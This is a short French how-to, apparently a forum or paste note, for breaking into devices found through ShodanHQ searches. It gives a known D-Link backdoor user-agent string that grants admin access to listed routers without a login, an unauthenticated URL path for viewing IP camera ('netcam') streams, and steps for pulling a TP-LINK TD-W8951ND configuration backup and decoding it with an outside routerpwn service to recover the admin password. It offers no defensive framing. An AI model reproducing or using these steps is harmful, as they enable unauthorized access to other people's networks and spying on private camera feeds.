routeurs concernés :
DIR-100
DI-524
DI-524UP
DI-604S
DI-604UP
DI-604+
TM-G5240
BRL-04UR
BRL-04CW
rechercher sur ShodanHQ
installer User Agent Switcher sur Firefox (https://addons.mozilla.org/fr/firefox/addon/user-agent-switcher/)
changer son User Agent en xmlset_roodkcableoj28840ybtide
voila, le routeur ne vous demanderas pas de vous authentifier ! Vous serez admin direct
Recherche "netcam" sur ShodanHQ
Rajouter /anony/mjpg.cgi à l'ip
se rendre sur http://xxx.xxx.xxx.xxx/anony/mjpg.cgi
Voila, la "vidéo" s'affiche
sur ShodanHQ, rechercher "TD-W8951ND"
se rendre à la page xxx.xxx.xxx.xxx/rpFWUpload.html
faire une sauvegarde de la ROM
montrer la ROM à http://50.57.229.26/zynos.php (module "ZynOS (Huawei) Configuration Decompressor" - routerpwn)
on obtient :
xxxxxxxx <---- mot de passe en clair
TP-LINK
public
public
public
Node5
xxxxxxxx@callu
dhcppc
on retourne sur xxx.xxx.xxx.xxx/ puis
•login : admin
•password : xxxxxxxx